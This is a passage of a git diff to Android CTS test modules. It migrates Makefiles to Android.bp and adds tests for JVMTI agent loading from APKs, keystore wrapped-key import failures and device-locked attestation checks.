diff --git a/tests/tests/jni_vendor/Android.bp b/tests/tests/jni_vendor/Android.bp
new file mode 100644
index 0000000..544257b
--- /dev/null
+++ b/tests/tests/jni_vendor/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVendorJniTestCases",
+    defaults: ["cts_defaults"],
+
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+    jni_libs: ["libvendorjnitest"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // TODO(jiyong) make this really a part of CTS
+    // This can't be done right now since VNDK runtime restriction is optional
+    // at least for O-MR1.
+    // Tag this module as a cts test artifact
+    // test_suites: ["cts", "vts", "general-tests"],
+}
diff --git a/tests/tests/jni_vendor/Android.mk b/tests/tests/jni_vendor/Android.mk
deleted file mode 100644
index 6b9bfb3..0000000
--- a/tests/tests/jni_vendor/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVendorJniTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the vendor partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_VENDOR_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt
-
-LOCAL_JNI_SHARED_LIBRARIES := libvendorjnitest
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# TODO(jiyong) make this really a part of CTS
-# This can't be done right now since VNDK runtime restriction is optional
-# at least for O-MR1.
-# Tag this module as a cts test artifact
-#LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the associated library's makefile.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.bp b/tests/tests/jni_vendor/libvendorjnitest/Android.bp
new file mode 100644
index 0000000..0589010
--- /dev/null
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libvendorjnitest",
+    srcs: ["android_jni_vendor_cts_VendorJniTest.cpp"],
+    shared_libs: [
+        "libdl",
+        "liblog",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+    cflags: ["-Wno-unused-parameter"],
+    vendor: true,
+    gtest: false,
+}
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
deleted file mode 100644
index c9e9205..0000000
--- a/tests/tests/jni_vendor/libvendorjnitest/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libvendorjnitest
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := android_jni_vendor_cts_VendorJniTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libdl liblog
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_CFLAGS := -Wno-unused-parameter
-
-LOCAL_VENDOR_MODULE := true
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jvmti/Android.mk b/tests/tests/jvmti/Android.mk
deleted file mode 100644
index 8facc9f..0000000
--- a/tests/tests/jvmti/Android.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# Include the associated library's makefile.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
new file mode 100644
index 0000000..36f94a7
--- /dev/null
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsJvmtiAttachingTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+    ],
+    compile_multilib: "both",
+    jni_libs: [
+        "libjvmtiattachingtestagent1",
+        "libjvmtiattachingtestagent2",
+        "libjvmtiattachingtestagent3",
+        "libjvmtiattachingtestagent4",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/jvmti/attaching/Android.mk b/tests/tests/jvmti/attaching/Android.mk
deleted file mode 100644
index fb2a765..0000000
--- a/tests/tests/jvmti/attaching/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsJvmtiAttachingTestCases
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
-
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent1 \
-                              libjvmtiattachingtestagent2 \
-                              libjvmtiattachingtestagent3 \
-                              libjvmtiattachingtestagent4 \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/AndroidTest.xml b/tests/tests/jvmti/attaching/AndroidTest.xml
index 0e927a3..8948004 100644
--- a/tests/tests/jvmti/attaching/AndroidTest.xml
+++ b/tests/tests/jvmti/attaching/AndroidTest.xml
@@ -18,6 +18,9 @@
 
 <configuration description="Config for CTS jvmti attaching test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/jvmti/attaching/OWNERS b/tests/tests/jvmti/attaching/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/tests/jvmti/attaching/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/tests/jvmti/attaching/TEST_MAPPING b/tests/tests/jvmti/attaching/TEST_MAPPING
new file mode 100644
index 0000000..ea21aa4
--- /dev/null
+++ b/tests/tests/jvmti/attaching/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJvmtiAttachingTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
new file mode 100644
index 0000000..8e26f86
--- /dev/null
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -0,0 +1,69 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent1",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=1",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent2",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=2",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent3",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=3",
+    ],
+}
+
+cc_test_library {
+    name: "libjvmtiattachingtestagent4",
+    gtest: false,
+    srcs: ["agent.c"],
+    sdk_version: "current",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-DAGENT_NR=4",
+    ],
+}
diff --git a/tests/tests/jvmti/attaching/jni/Android.mk b/tests/tests/jvmti/attaching/jni/Android.mk
deleted file mode 100644
index b0d8376..0000000
--- a/tests/tests/jvmti/attaching/jni/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-define jvmti-attaching-test-agent
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libjvmtiattachingtestagent$1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := agent.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-LOCAL_CFLAGS += -DAGENT_NR=$1
-
-include $(BUILD_SHARED_LIBRARY)
-endef
-
-$(eval $(call jvmti-attaching-test-agent,1))
-$(eval $(call jvmti-attaching-test-agent,2))
-$(eval $(call jvmti-attaching-test-agent,3))
-$(eval $(call jvmti-attaching-test-agent,4))
diff --git a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
index 1d8c2de..46ae183 100644
--- a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
+++ b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
@@ -32,6 +32,7 @@
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -41,6 +42,7 @@
 import java.util.HashSet;
 import java.util.Set;
 import java.util.concurrent.Callable;
+import java.util.zip.ZipFile;
 
 @RunWith(Parameterized.class)
 @FixMethodOrder(MethodSorters.NAME_ASCENDING)
@@ -132,13 +134,29 @@
         return params;
     }
 
+    private static InputStream getAgentInputStream(ClassLoader cl, String lib) throws Exception {
+        String clfile = ((BaseDexClassLoader) cl).findLibrary(lib);
+        try {
+            return new FileInputStream(clfile);
+        } catch (FileNotFoundException e) {
+            if (clfile.contains(".apk!/")) {
+                // Looks like it might be a zipaligned library. Get it from the apk directly.
+                // Skip the !/
+                String libPath = clfile.substring(clfile.lastIndexOf('!') + 2);
+                String apkPath = clfile.substring(0, clfile.lastIndexOf('!'));
+                ZipFile zip = new ZipFile(apkPath);
+                return zip.getInputStream(zip.getEntry(libPath));
+            } else {
+                throw e;
+            }
+        }
+    }
     private static File copyAgentToFile(String lib) throws Exception {
         ClassLoader cl = AttachingTest.class.getClassLoader();
         assertTrue(cl instanceof BaseDexClassLoader);
 
         File copiedAgent = File.createTempFile("agent", ".so");
-        try (InputStream is = new FileInputStream(
-                ((BaseDexClassLoader) cl).findLibrary(lib))) {
+        try (InputStream is = getAgentInputStream(cl, lib)) {
             try (OutputStream os = new FileOutputStream(copiedAgent)) {
                 byte[] buffer = new byte[64 * 1024];
 
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
new file mode 100644
index 0000000..1122dab
--- /dev/null
+++ b/tests/tests/keystore/Android.bp
@@ -0,0 +1,50 @@
+// Copyright 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsKeystoreTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "bouncycastle-unbundled",
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "core-tests-support",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "guava",
+        "junit",
+        "cts-security-test-support-library",
+        "platformprotosnano",
+    ],
+    srcs: ["src/**/*.java"],
+    // Can't use public/test API only because some tests use hidden API
+    // (e.g. device-provided Bouncy Castle).
+    //
+    // The comment below is not particularly accurate, but it's copied from other
+    // tests that do the same thing, so anyone grepping for it will find it here.
+    //
+    // Uncomment when b/13282254 is fixed.
+    // sdk_version: "current"
+    platform_apis: true,
+}
diff --git a/tests/tests/keystore/Android.mk b/tests/tests/keystore/Android.mk
deleted file mode 100644
index c4e796c..0000000
--- a/tests/tests/keystore/Android.mk
+++ /dev/null
@@ -1,58 +0,0 @@
-# Copyright 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := bouncycastle
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-        androidx.test.rules \
-        core-tests-support \
-        compatibility-device-util-axt \
-        ctstestrunner-axt hamcrest-library \
-        guava \
-        junit \
-        cts-security-test-support-library \
-        platformprotosnano
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PACKAGE_NAME := CtsKeystoreTestCases
-
-# Can't use public/test API only because some tests use hidden API
-# (e.g. device-provided Bouncy Castle).
-#
-# The comment below is not particularly accurate, but it's copied from other
-# tests that do the same thing, so anyone grepping for it will find it here.
-#
-# Uncomment when b/13282254 is fixed.
-# LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index c9d2e2b..7a03aaf 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -36,14 +36,14 @@
 import android.security.keystore.WrappedKeyEntry;
 import android.test.AndroidTestCase;
 
-import com.android.org.bouncycastle.asn1.ASN1Encoding;
-import com.android.org.bouncycastle.asn1.DEREncodableVector;
-import com.android.org.bouncycastle.asn1.DERInteger;
-import com.android.org.bouncycastle.asn1.DERNull;
-import com.android.org.bouncycastle.asn1.DEROctetString;
-import com.android.org.bouncycastle.asn1.DERSequence;
-import com.android.org.bouncycastle.asn1.DERSet;
-import com.android.org.bouncycastle.asn1.DERTaggedObject;
+import org.bouncycastle.asn1.ASN1Encoding;
+import org.bouncycastle.asn1.DEREncodableVector;
+import org.bouncycastle.asn1.DERInteger;
+import org.bouncycastle.asn1.DERNull;
+import org.bouncycastle.asn1.DEROctetString;
+import org.bouncycastle.asn1.DERSequence;
+import org.bouncycastle.asn1.DERSet;
+import org.bouncycastle.asn1.DERTaggedObject;
 
 import java.security.Key;
 import java.security.KeyPair;
@@ -65,7 +65,15 @@
 import javax.crypto.spec.PSource;
 import javax.crypto.spec.SecretKeySpec;
 
+import java.lang.Process;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.lang.InterruptedException;
+
 public class ImportWrappedKeyTest extends AndroidTestCase {
+    private static final String TAG = "ImportWrappedKeyTest";
 
     private static final String ALIAS = "my key";
     private static final String WRAPPING_KEY_ALIAS = "my_favorite_wrapping_key";
@@ -117,6 +125,24 @@
         assertEquals(new String(c.doFinal(encrypted)), "hello, world");
     }
 
+    public void testKeyStore_ImportWrappedKeyWrappingKeyMissing() throws Exception {
+        final String EXPECTED_FAILURE = "Failed to import wrapped key. Keystore error code: 7";
+        String failureMessage = null;
+
+        try {
+            byte [] fakeWrappedKey = new byte[1];
+            importWrappedKey(fakeWrappedKey, WRAPPING_KEY_ALIAS + "_Missing");
+        } catch (KeyStoreException e) {
+            failureMessage = e.getMessage();
+        }
+
+        if (failureMessage == null) {
+            fail("Did not hit a failure but expected one");
+        }
+
+        assertEquals(failureMessage, EXPECTED_FAILURE);
+    }
+
     public void testKeyStore_ImportWrappedKey_3DES() throws Exception {
       if (!TestUtils.supports3DES()) {
           return;
@@ -258,19 +284,23 @@
         }
     }
 
-    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+    public void importWrappedKey(byte[] wrappedKey, String wrappingKeyAlias) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null, null);
 
-        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(WRAPPING_KEY_ALIAS,
+        AlgorithmParameterSpec spec = new KeyGenParameterSpec.Builder(wrappingKeyAlias,
                 KeyProperties.PURPOSE_WRAP_KEY)
                 .setDigests(KeyProperties.DIGEST_SHA1)
                 .build();
-        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, WRAPPING_KEY_ALIAS,
+        Entry wrappedKeyEntry = new WrappedKeyEntry(wrappedKey, wrappingKeyAlias,
                   "RSA/ECB/OAEPPadding", spec);
         keyStore.setEntry(ALIAS, wrappedKeyEntry, null);
     }
 
+    public void importWrappedKey(byte[] wrappedKey) throws Exception {
+        importWrappedKey(wrappedKey, WRAPPING_KEY_ALIAS);
+    }
+
     public byte[] wrapKey(PublicKey publicKey, byte[] keyMaterial, byte[] mask,
             DERSequence authorizationList)
             throws Exception {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 6b925d4..9e45b10 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -16,7 +16,11 @@
 
 package android.keystore.cts;
 
+import android.os.SystemProperties;
+import android.platform.test.annotations.RestrictedBuildTest;
+
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_EC;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_RSA;
@@ -45,6 +49,7 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.either;
 import static org.junit.matchers.JUnitMatchers.hasItems;
@@ -62,8 +67,8 @@
 import android.test.AndroidTestCase;
 import android.util.ArraySet;
 
-import com.android.org.bouncycastle.asn1.x500.X500Name;
-import com.android.org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateHolder;
 
 import java.security.GeneralSecurityException;
 import java.security.InvalidAlgorithmParameterException;
@@ -216,6 +221,41 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testEcAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge(new byte[128])
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_EC, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testEcAttestation_KeyStoreExceptionWhenRequestingUniqueId() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
@@ -333,6 +373,40 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testRsaAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge("challenge".getBytes())
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_RSA, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testAesAttestation() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_ENCRYPT)
@@ -735,7 +809,7 @@
                         is(KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT));
                 assertThat(attestation.getKeymasterVersion(), either(is(2)).or(is(3)).or(is(4)));
 
-                checkRootOfTrust(attestation);
+                checkRootOfTrust(attestation, false /* requireLocked */);
                 assertThat(teeEnforced.getOsVersion(), is(systemOsVersion));
                 assertThat(teeEnforced.getOsPatchLevel(), is(systemPatchLevel));
                 break;
@@ -767,11 +841,43 @@
                 softwareEnforced.getRootOfTrust());
     }
 
-    private void checkRootOfTrust(Attestation attestation) {
+    private void checkDeviceLocked(Attestation attestation) {
+        assertThat("Attestation version must be >= 1",
+                attestation.getAttestationVersion(), greaterThanOrEqualTo(1));
+
+        int attestationSecurityLevel = attestation.getAttestationSecurityLevel();
+        switch (attestationSecurityLevel) {
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+            case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
+                assertThat("Attestation security level doesn't match keymaster security level",
+                        attestation.getKeymasterSecurityLevel(), is(attestationSecurityLevel));
+                assertThat(attestation.getKeymasterVersion(), greaterThanOrEqualTo(2));
+
+                // Devices launched in Android 10.0 (API level 29) and after should run CTS
+                // in LOCKED state.
+                boolean requireLocked = (
+                        SystemProperties.getInt("ro.product.first_api_level", 0) >= 29);
+                checkRootOfTrust(attestation, requireLocked);
+                break;
+
+            case KM_SECURITY_LEVEL_SOFTWARE:
+            default:
+                // TEE attestation has been required since Android 7.0.
+                fail("Unexpected attestation security level: " +
+                     attestation.securityLevelToString(attestationSecurityLevel));
+                break;
+        }
+    }
+
+    private void checkRootOfTrust(Attestation attestation, boolean requireLocked) {
         RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
+        if (requireLocked) {
+            assertTrue(rootOfTrust.isDeviceLocked());
